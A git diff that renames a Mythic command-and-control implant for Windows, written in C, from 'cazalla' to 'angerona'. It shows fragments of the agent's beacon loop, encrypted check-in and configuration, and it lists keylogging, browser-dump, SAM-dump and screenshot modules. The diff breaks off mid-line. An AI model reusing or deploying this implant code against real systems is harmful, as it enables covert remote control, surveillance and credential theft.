diff --git a/Payload_Type/cazalla/.docker/Dockerfile b/Payload_Type/angerona/.docker/Dockerfile similarity index 96% rename from Payload_Type/cazalla/.docker/Dockerfile rename to Payload_Type/angerona/.docker/Dockerfile index d57c6f5..09e2a90 100644 --- a/Payload_Type/cazalla/.docker/Dockerfile +++ b/Payload_Type/angerona/.docker/Dockerfile @@ -43,10 +43,10 @@ ENV MYTHIC_SERVER_PASSWORD="mythic_password" WORKDIR /Mythic/ # Copiar estructura completa del proyecto -COPY ./ /Mythic/cazalla/ +COPY ./ /Mythic/angerona/ # Asegurar que los permisos sean correctos para Python -RUN chmod -R a+rX /Mythic/cazalla/ +RUN chmod -R a+rX /Mythic/angerona/ # --- Comando por defecto --- CMD ["python3", "main.py"] diff --git a/Payload_Type/cazalla/.dockerignore b/Payload_Type/angerona/.dockerignore similarity index 95% rename from Payload_Type/cazalla/.dockerignore rename to Payload_Type/angerona/.dockerignore index d6a077d..dccbbaf 100644 --- a/Payload_Type/cazalla/.dockerignore +++ b/Payload_Type/angerona/.dockerignore @@ -65,5 +65,5 @@ docker-compose.yml mythic-cli # Agent code build directories (will be built inside container) -cazalla/agent_code/cazalla/build/ +angerona/agent_code/angerona/build/ diff --git a/Payload_Type/cazalla/.keep b/Payload_Type/angerona/.keep similarity index 100% rename from Payload_Type/cazalla/.keep rename to Payload_Type/angerona/.keep diff --git a/Payload_Type/cazalla/Dockerfile b/Payload_Type/angerona/Dockerfile similarity index 95% rename from Payload_Type/cazalla/Dockerfile rename to Payload_Type/angerona/Dockerfile index 9713d69..941b50e 100644 --- a/Payload_Type/cazalla/Dockerfile +++ b/Payload_Type/angerona/Dockerfile @@ -47,7 +47,7 @@ ENV SYSLOG_FACILITY="16" # --- Copia tu código de translator --- # This COPY ensures local changes are included when USE_BUILD_CONTEXT=true WORKDIR /Mythic/ -COPY ./ /Mythic/cazalla/ +COPY ./ /Mythic/angerona/ # --- Comando por defecto --- CMD ["python3", "main.py"] diff --git a/Payload_Type/cazalla/__init__.py b/Payload_Type/angerona/__init__.py similarity index 100% rename from Payload_Type/cazalla/__init__.py rename to Payload_Type/angerona/__init__.py diff --git a/Payload_Type/cazalla/agent_capabilities.json b/Payload_Type/angerona/agent_capabilities.json similarity index 100% rename from Payload_Type/cazalla/agent_capabilities.json rename to Payload_Type/angerona/agent_capabilities.json diff --git a/Payload_Type/cazalla/cazalla/__init__.py b/Payload_Type/angerona/angerona/__init__.py similarity index 100% rename from Payload_Type/cazalla/cazalla/__init__.py rename to Payload_Type/angerona/angerona/__init__.py diff --git a/Payload_Type/cazalla/cazalla/__pycache__/__init__.cpython-311.pyc b/Payload_Type/angerona/angerona/__pycache__/__init__.cpython-311.pyc similarity index 100% rename from Payload_Type/cazalla/cazalla/__pycache__/__init__.cpython-311.pyc rename to Payload_Type/angerona/angerona/__pycache__/__init__.cpython-311.pyc diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.c b/Payload_Type/angerona/angerona/agent_code/angerona/Aes.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.c rename to Payload_Type/angerona/angerona/agent_code/angerona/Aes.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.h b/Payload_Type/angerona/angerona/agent_code/angerona/Aes.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.h rename to Payload_Type/angerona/angerona/agent_code/angerona/Aes.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c b/Payload_Type/angerona/angerona/agent_code/angerona/Analizador.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c rename to Payload_Type/angerona/angerona/agent_code/angerona/Analizador.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h b/Payload_Type/angerona/angerona/agent_code/angerona/Config.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h rename to Payload_Type/angerona/angerona/agent_code/angerona/Config.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/angerona/angerona/agent_code/angerona/Makefile similarity index 84% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile rename to Payload_Type/angerona/angerona/agent_code/angerona/Makefile index 3f95d3a..2372525 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/angerona/angerona/agent_code/angerona/Makefile @@ -65,23 +65,23 @@ $(shell mkdir -p $(BUILD_DIR)) all: exe dll debug: debug_exe debug_dll -exe: $(BUILD_DIR)/cazalla.exe -dll: $(BUILD_DIR)/cazalla.dll -debug_exe: $(BUILD_DIR)/cazalla-debug.exe -debug_dll: $(BUILD_DIR)/cazalla-debug.dll +exe: $(BUILD_DIR)/angerona.exe +dll: $(BUILD_DIR)/angerona.dll +debug_exe: $(BUILD_DIR)/angerona-debug.exe +debug_dll: $(BUILD_DIR)/angerona-debug.dll # Executable Target -$(BUILD_DIR)/cazalla.exe: $(SRC_FILES) +$(BUILD_DIR)/angerona.exe: $(SRC_FILES) $(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS) -$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) +$(BUILD_DIR)/angerona-debug.exe: $(SRC_FILES) $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS) # DLL Target -$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) +$(BUILD_DIR)/angerona.dll: $(SRC_FILES) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS) -$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) +$(BUILD_DIR)/angerona-debug.dll: $(SRC_FILES) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS) # Clean up diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/angerona/angerona/agent_code/angerona/SistemadeFicheros.c similarity index 99% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c rename to Payload_Type/angerona/angerona/agent_code/angerona/SistemadeFicheros.c index 3c8e076..2c8ef65 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/SistemadeFicheros.c @@ -1,7 +1,7 @@ #include "SistemadeFicheros.h" #include "paquete.h" #include "transporte.h" -#include "cazalla.h" // For context tracking functions +#include "angerona.h" // For context tracking functions /* Forward decl to avoid implicit declaration on some toolchains */ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h b/Payload_Type/angerona/angerona/agent_code/angerona/SistemadeFicheros.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h rename to Payload_Type/angerona/angerona/agent_code/angerona/SistemadeFicheros.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h b/Payload_Type/angerona/angerona/agent_code/angerona/analizador.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h rename to Payload_Type/angerona/angerona/agent_code/angerona/analizador.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/angerona/angerona/agent_code/angerona/angerona.c similarity index 61% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c rename to Payload_Type/angerona/angerona/agent_code/angerona/angerona.c index f884e39..f83bd6c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/angerona.c @@ -1,9 +1,9 @@ -#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration -#include "cazalla.h" +#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration +#include "angerona.h" #include "Config.h" #include "socks_manager.h" -CONFIG_CAZALLA* cazallaConfig = NULL; +CONFIG_ANGERONA* angeronaConfig = NULL; /* Context tracking: Current working directory and impersonation context */ static char gCurrentDirectory[MAX_PATH] = ""; @@ -48,26 +48,26 @@ VOID clearImpersonationContext(void) { gImpersonationContext[0] = '\0'; } -VOID cazallaMain() { - _inf("Inicializando configuración de Cazalla"); +VOID angeronaMain() { + _inf("Inicializando configuración de Angerona"); - cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); - if (!cazallaConfig) { - _err("Error: fallo en LocalAlloc para cazallaConfig"); + angeronaConfig = (CONFIG_ANGERONA*)LocalAlloc(LPTR, sizeof(CONFIG_ANGERONA)); + if (!angeronaConfig) { + _err("Error: fallo en LocalAlloc para angeronaConfig"); return; } - cazallaConfig->idAgente = (PCHAR)initUUID; - cazallaConfig->hostName = (PWCHAR)hostname; - cazallaConfig->puertoHttp = port; - cazallaConfig->endPoint = (PWCHAR)endpoint; - cazallaConfig->userAgent = (PWCHAR)useragent; - cazallaConfig->metodoHttp = (PWCHAR)httpmethod; - cazallaConfig->SSL = ssl; - cazallaConfig->proxyHabilitado= proxyenabled; - cazallaConfig->urlProxy = (PWCHAR)proxyurl; - cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000; - cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED; + angeronaConfig->idAgente = (PCHAR)initUUID; + angeronaConfig->hostName = (PWCHAR)hostname; + angeronaConfig->puertoHttp = port; + angeronaConfig->endPoint = (PWCHAR)endpoint; + angeronaConfig->userAgent = (PWCHAR)useragent; + angeronaConfig->metodoHttp = (PWCHAR)httpmethod; + angeronaConfig->SSL = ssl; + angeronaConfig->proxyHabilitado= proxyenabled; + angeronaConfig->urlProxy = (PWCHAR)proxyurl; + angeronaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000; + angeronaConfig->encryptionEnabled = ENCRYPTION_ENABLED; // Debug: print the raw values _dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED); @@ -75,26 +75,26 @@ VOID cazallaMain() { _dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY)); // Initialize AESPSK encryption if enabled - if (cazallaConfig->encryptionEnabled) { + if (angeronaConfig->encryptionEnabled) { _inf("Inicializando cifrado AES256-HMAC..."); if (crypto_init_aespsk(AESPSK_KEY)) { _inf("Cifrado habilitado"); } else { _err("Falló la inicialización del cifrado"); - cazallaConfig->encryptionEnabled = FALSE; + angeronaConfig->encryptionEnabled = FALSE; } } else { _inf("Cifrado deshabilitado"); } _dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u", - cazallaConfig->idAgente, - cazallaConfig->hostName, - cazallaConfig->puertoHttp, - (int)cazallaConfig->SSL, - (int)cazallaConfig->proxyHabilitado, - cazallaConfig->endPoint, - cazallaConfig->userAgent, - cazallaConfig->tiempoSleep); + angeronaConfig->idAgente, + angeronaConfig->hostName, + angeronaConfig->puertoHttp, + (int)angeronaConfig->SSL, + (int)angeronaConfig->proxyHabilitado, + angeronaConfig->endPoint, + angeronaConfig->userAgent, + angeronaConfig->tiempoSleep); _inf("Iniciando primer checkin..."); PAnalizador respuestaAnalizador = checkin(); @@ -106,7 +106,7 @@ VOID cazallaMain() { parseChecking(respuestaAnalizador); - _inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep); + _inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", angeronaConfig->tiempoSleep); while (TRUE) { rutina(); @@ -116,13 +116,13 @@ VOID cazallaMain() { _dbg("SOCKS activo -> checkin rápido (100 ms)"); Sleep(100); } else { - _dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep); - Sleep(cazallaConfig->tiempoSleep); + _dbg("SOCKS inactivo -> durmiendo %u ms", angeronaConfig->tiempoSleep); + Sleep(angeronaConfig->tiempoSleep); } } } VOID setUUID(PCHAR newUUID) { - cazallaConfig->idAgente = newUUID; + angeronaConfig->idAgente = newUUID; _dbg("UUID actualizado: %s", newUUID); } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h b/Payload_Type/angerona/angerona/agent_code/angerona/angerona.h similarity index 80% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h rename to Payload_Type/angerona/angerona/agent_code/angerona/angerona.h index d21466c..413e8f0 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h +++ b/Payload_Type/angerona/angerona/agent_code/angerona/angerona.h @@ -1,6 +1,6 @@ #pragma once -#ifndef CAZALLA_H -#define CAZALLA_H +#ifndef ANGERONA_H +#define ANGERONA_H #include #include "paquete.h" @@ -25,9 +25,9 @@ typedef struct { UINT32 tiempoSleep; BOOL encryptionEnabled; -} CONFIG_CAZALLA, *PCONFIG_CAZALLA; +} CONFIG_ANGERONA, *PCONFIG_ANGERONA; -extern PCONFIG_CAZALLA cazallaConfig; +extern PCONFIG_ANGERONA angeronaConfig; /* Context tracking functions */ PCHAR getCurrentDirectoryContext(void); @@ -37,6 +37,6 @@ VOID setImpersonationContext(PCHAR context); VOID clearImpersonationContext(void); VOID setUUID(PCHAR newUUID); -VOID cazallaMain(void); +VOID angeronaMain(void); #endif diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_dump.c b/Payload_Type/angerona/angerona/agent_code/angerona/browser_dump.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_dump.c rename to Payload_Type/angerona/angerona/agent_code/angerona/browser_dump.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_dump.h b/Payload_Type/angerona/angerona/agent_code/angerona/browser_dump.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_dump.h rename to Payload_Type/angerona/angerona/agent_code/angerona/browser_dump.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.c b/Payload_Type/angerona/angerona/agent_code/angerona/browser_info.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.c rename to Payload_Type/angerona/angerona/agent_code/angerona/browser_info.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.h b/Payload_Type/angerona/angerona/agent_code/angerona/browser_info.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.h rename to Payload_Type/angerona/angerona/agent_code/angerona/browser_info.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c b/Payload_Type/angerona/angerona/agent_code/angerona/cerrarCallback.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c rename to Payload_Type/angerona/angerona/agent_code/angerona/cerrarCallback.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h b/Payload_Type/angerona/angerona/agent_code/angerona/cerrarCallback.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h rename to Payload_Type/angerona/angerona/agent_code/angerona/cerrarCallback.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c b/Payload_Type/angerona/angerona/agent_code/angerona/checkin.c similarity index 96% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c rename to Payload_Type/angerona/angerona/agent_code/angerona/checkin.c index 264c46c..8599b37 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/checkin.c @@ -1,5 +1,5 @@ #include "checkin.h" -#include "cazalla.h" +#include "angerona.h" #include "socks_manager.h" #include "paquete.h" // For addCallbackContext #include "identity.h" // For IdentityGetUserInfo @@ -132,7 +132,7 @@ PAnalizador checkin() { return NULL; } - addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); + addString(checkin, (PCHAR)angeronaConfig->idAgente, FALSE); UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); addInt32(checkin, numeroDeIPs); for (UINT32 i = 0; i < numeroDeIPs; i++) { diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h b/Payload_Type/angerona/angerona/agent_code/angerona/checkin.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h rename to Payload_Type/angerona/angerona/agent_code/angerona/checkin.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/angerona/angerona/agent_code/angerona/comandos.c similarity index 97% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c rename to Payload_Type/angerona/angerona/agent_code/angerona/comandos.c index 59f5bed..356b567 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/comandos.c @@ -1,4 +1,4 @@ -#include "cazalla.h" +#include "angerona.h" #include "comandos.h" #include "socks_manager.h" #include "rpfwd_manager.h" @@ -364,7 +364,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) { _dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid); - // === Nota: Cifrado AESPSK ya inicializado en cazallaMain() === + // === Nota: Cifrado AESPSK ya inicializado en angeronaMain() === // La clave AES se inyecta en tiempo de compilación, no se deriva en runtime diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/angerona/angerona/agent_code/angerona/comandos.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h rename to Payload_Type/angerona/angerona/agent_code/angerona/comandos.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c b/Payload_Type/angerona/angerona/agent_code/angerona/consola.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c rename to Payload_Type/angerona/angerona/agent_code/angerona/consola.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h b/Payload_Type/angerona/angerona/agent_code/angerona/consola.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h rename to Payload_Type/angerona/angerona/agent_code/angerona/consola.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c b/Payload_Type/angerona/angerona/agent_code/angerona/crypto.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c rename to Payload_Type/angerona/angerona/agent_code/angerona/crypto.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.h b/Payload_Type/angerona/angerona/agent_code/angerona/crypto.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.h rename to Payload_Type/angerona/angerona/agent_code/angerona/crypto.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h b/Payload_Type/angerona/angerona/agent_code/angerona/debug.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h rename to Payload_Type/angerona/angerona/agent_code/angerona/debug.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.c b/Payload_Type/angerona/angerona/agent_code/angerona/hmac_sha256.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.c rename to Payload_Type/angerona/angerona/agent_code/angerona/hmac_sha256.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.h b/Payload_Type/angerona/angerona/agent_code/angerona/hmac_sha256.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.h rename to Payload_Type/angerona/angerona/agent_code/angerona/hmac_sha256.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c b/Payload_Type/angerona/angerona/agent_code/angerona/identity.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c rename to Payload_Type/angerona/angerona/agent_code/angerona/identity.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.h b/Payload_Type/angerona/angerona/agent_code/angerona/identity.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.h rename to Payload_Type/angerona/angerona/agent_code/angerona/identity.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c b/Payload_Type/angerona/angerona/agent_code/angerona/inline_execute.c similarity index 99% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c rename to Payload_Type/angerona/angerona/agent_code/angerona/inline_execute.c index 1d1976b..696481f 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/inline_execute.c @@ -1,4 +1,4 @@ -#include "cazalla.h" +#include "angerona.h" #include "inline_execute.h" #include "comandos.h" #include "paquete.h" @@ -174,7 +174,7 @@ BOOL BeaconIsAdmin(void) { /* * GetFileBytesFromMythic - Fetch a file from Mythic server using file_id - * Adapted from Cazalla's upload mechanism + * Adapted from Angerona's upload mechanism */ DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) { #define CHUNK_SIZE 512000 // 512 KB diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h b/Payload_Type/angerona/angerona/agent_code/angerona/inline_execute.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h rename to Payload_Type/angerona/angerona/agent_code/angerona/inline_execute.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.c b/Payload_Type/angerona/angerona/agent_code/angerona/keylog.c similarity index 99% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.c rename to Payload_Type/angerona/angerona/agent_code/angerona/keylog.c index bd31415..006a671 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/keylog.c @@ -1,6 +1,6 @@ #include "keylog.h" #include "paquete.h" -#include "cazalla.h" +#include "angerona.h" static volatile BOOL g_keylog_running = FALSE; static HANDLE g_keylog_thread = NULL; diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.h b/Payload_Type/angerona/angerona/agent_code/angerona/keylog.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.h rename to Payload_Type/angerona/angerona/agent_code/angerona/keylog.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c b/Payload_Type/angerona/angerona/agent_code/angerona/main.c similarity index 56% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c rename to Payload_Type/angerona/angerona/agent_code/angerona/main.c index cdfa819..fa02812 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/main.c @@ -1,13 +1,13 @@ -#include "cazalla.h" +#include "angerona.h" int main() { - _inf("=== CAZALLA AGENT STARTING ==="); + _inf("=== ANGERONA AGENT STARTING ==="); #ifdef AESPSK _inf("AESPSK: %s", AESPSK); #endif Sleep(2000); // Pausa 2 segundos para ver si inicia - cazallaMain(); - _inf("=== CAZALLA AGENT EXITING ==="); + angeronaMain(); + _inf("=== ANGERONA AGENT EXITING ==="); _inf("Press any key to exit..."); getchar(); return 0; diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/angerona/angerona/agent_code/angerona/paquete.c similarity index 96% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c rename to Payload_Type/angerona/angerona/agent_code/angerona/paquete.c index 707cc0a..753b5cd 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/paquete.c @@ -1,5 +1,5 @@ -#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration -#include "cazalla.h" +#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration +#include "angerona.h" #include "paquete.h" #include "socks_manager.h" #include "rpfwd_manager.h" @@ -19,7 +19,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) { paquete->length = 0; if (init) { - addString(paquete, cazallaConfig->idAgente, FALSE); + addString(paquete, angeronaConfig->idAgente, FALSE); addByte(paquete, idComando); } @@ -304,10 +304,10 @@ PAnalizador mandarPaquete(PPaquete paquete) { char uuidCheck[37] = {0}; memcpy(uuidCheck, datosDecodificados, 36); _dbg("First 36 bytes (UUID check): %s", uuidCheck); - _dbg("Expected UUID: %s", cazallaConfig->idAgente); + _dbg("Expected UUID: %s", angeronaConfig->idAgente); // If response starts with UUID, we need to extract it - if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) { + if (strncmp(uuidCheck, angeronaConfig->idAgente, 36) == 0) { _dbg("Response format: UUID + encrypted_data detected"); _dbg("Extracting encrypted data (after UUID)..."); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/angerona/angerona/agent_code/angerona/paquete.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h rename to Payload_Type/angerona/angerona/agent_code/angerona/paquete.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c b/Payload_Type/angerona/angerona/agent_code/angerona/procesos.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c rename to Payload_Type/angerona/angerona/agent_code/angerona/procesos.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.h b/Payload_Type/angerona/angerona/agent_code/angerona/procesos.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.h rename to Payload_Type/angerona/angerona/agent_code/angerona/procesos.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.c b/Payload_Type/angerona/angerona/agent_code/angerona/rpfwd_manager.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.c rename to Payload_Type/angerona/angerona/agent_code/angerona/rpfwd_manager.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.h b/Payload_Type/angerona/angerona/agent_code/angerona/rpfwd_manager.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.h rename to Payload_Type/angerona/angerona/agent_code/angerona/rpfwd_manager.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.c b/Payload_Type/angerona/angerona/agent_code/angerona/samdump.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.c rename to Payload_Type/angerona/angerona/agent_code/angerona/samdump.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.h b/Payload_Type/angerona/angerona/agent_code/angerona/samdump.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.h rename to Payload_Type/angerona/angerona/agent_code/angerona/samdump.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.c b/Payload_Type/angerona/angerona/agent_code/angerona/screenshot.c similarity index 99% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.c rename to Payload_Type/angerona/angerona/agent_code/angerona/screenshot.c index c9202f8..b113122 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/screenshot.c @@ -1,5 +1,5 @@ #include "screenshot.h" -#include "cazalla.h" +#include "angerona.h" #include "paquete.h" #include "SistemadeFicheros.h" #include diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.h b/Payload_Type/angerona/angerona/agent_code/angerona/screenshot.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.h rename to Payload_Type/angerona/angerona/agent_code/angerona/screenshot.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.c b/Payload_Type/angerona/angerona/agent_code/angerona/sha256.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.c rename to Payload_Type/angerona/angerona/agent_code/angerona/sha256.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.h b/Payload_Type/angerona/angerona/agent_code/angerona/sha256.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.h rename to Payload_Type/angerona/angerona/agent_code/angerona/sha256.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c b/Payload_Type/angerona/angerona/agent_code/angerona/sleep.c similarity index 81% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c rename to Payload_Type/angerona/angerona/agent_code/angerona/sleep.c index 3b46ea7..aff2ae2 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/sleep.c @@ -1,5 +1,5 @@ #include "sleep.h" -#include "cazalla.h" +#include "angerona.h" #include "socks_manager.h" @@ -25,12 +25,12 @@ BOOL sleep(PAnalizador argumentos) { tiempoSleep = minVarianza; } - if (cazallaConfig == NULL) { - _err("Error: cazallaConfig no ha sido inicializado.\n"); + if (angeronaConfig == NULL) { + _err("Error: angeronaConfig no ha sido inicializado.\n"); return FALSE; } - _dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep); + _dbg("Tiempo Sleep antes: %d\n", angeronaConfig->tiempoSleep); /* convertir a milisegundos */ tiempoSleep = tiempoSleep * 1000; @@ -41,7 +41,7 @@ BOOL sleep(PAnalizador argumentos) { if (tiempoSleep 